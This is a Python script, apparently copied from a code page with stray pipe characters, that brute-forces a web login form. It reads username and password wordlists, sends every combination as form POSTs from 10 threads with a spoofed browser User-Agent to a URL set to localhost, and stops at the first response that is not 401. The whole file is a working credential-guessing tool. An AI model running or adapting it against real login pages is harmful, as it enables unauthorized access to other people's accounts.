|
import logging |
|
import concurrent.futures as ft |
|
import requests |
|
from requests import Response |
|
from typing import Any, List |
|
from http import HTTPStatus |
|
import sys |
|
from datetime import datetime |
|
|
|
|
|
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', |
|
level=logging.INFO, |
|
datefmt='%H:%M:%S' |
|
) |
|
|
|
THREADS = 10 |
|
URL = "http://localhost:8080" |
|
HEADERS = { |
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv: 78.0) Gecko/20100101 Firefox/78.0', |
|
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', |
|
'Accept-Language': 'en-US,en;q=0.5', |
|
'Content-Type': 'application/x-www-form-urlencoded', |
|
} |
|
|
|
DATA_FORMAT = 'username={username}&password={pwd}' |
|
|
|
def is_authorized(resp: Response): |
|
return resp.status_code != HTTPStatus.UNAUTHORIZED |
|
|
|
|
|
def request(username: str, pwd: str, did_succeed_func= is_authorized): |
|
data = DATA_FORMAT.format(username = username, pwd = pwd) |
|
resp = requests.post(URL,data=data, headers= HEADERS, allow_redirects=False) |
|
try: |
|
success = did_succeed_func(resp) |
|
if not success: |
|
return False |
|
except: |
|
pass |
|
return (username,pwd) |
|
|
|
BATCH_SIZE = 100 |
|
|
|
def shutdown_executor(executor: ft.ThreadPoolExecutor, futures:List[ft.Future] ): |
|
if sys.version_info.minor >= 9: |
|
executor.shutdown(wait=False, cancel_futures=True) |
|
else: |
|
for f in futures: |
|
f.cancel() |
|
executor.shutdown(wait=False) |
|
|
|
def brute_force(usernames: List[str], passwords: List[str]): |
|
with ft.ThreadPoolExecutor(max_workers=THREADS) as executor: |
|
brute_futures_map = {executor.submit(request, username, pwd):(username,pwd) for pwd in passwords for username in usernames} |
|
batch_start = datetime.now() |
|
logging.info("starting") |
|
# please note that the order of the completed futures mey be a bit different than |
|
# the order of submitted futures |
|
for i,ftr in enumerate(ft.as_completed(brute_futures_map)): |
|
try: |
|
if i% BATCH_SIZE == 0 and i > 0: |
|
record = brute_futures_map[ftr] |
|
log_batch(batch_start, i, record) |
|
results = ftr.result() |
|
if results != False: |
|
print(f"found {results}, exiting") |
|
shutdown_executor(executor, brute_futures_map) |
|
break |
|
except Exception as e: |
|
logging.exception(e) |
|
|
|
def log_batch(batch_start, i, record): |
|
batch_end = datetime.now() |
|
batch_timing = (batch_end-batch_start).total_seconds() |
|
logging.info(f"reached #{i} ({batch_timing:.3} secs) {record}") |
|
batch_start=batch_end |
|
|
|
|
|
def file_to_list(filename: str): |
|
with open(filename, "r") as f: |
|
return f.read().strip().split("\n") |
|
|
|
passwords_filename = "z.passwords" |
|
users_filename = "z.names" |
|
|
|
def main(): |
|
wordlist = file_to_list(passwords_filename) |
|
users = file_to_list(users_filename) |
|
brute_force(users,wordlist) |
|
|
|
|
|
if __name__ == "__main__": |
|
main() |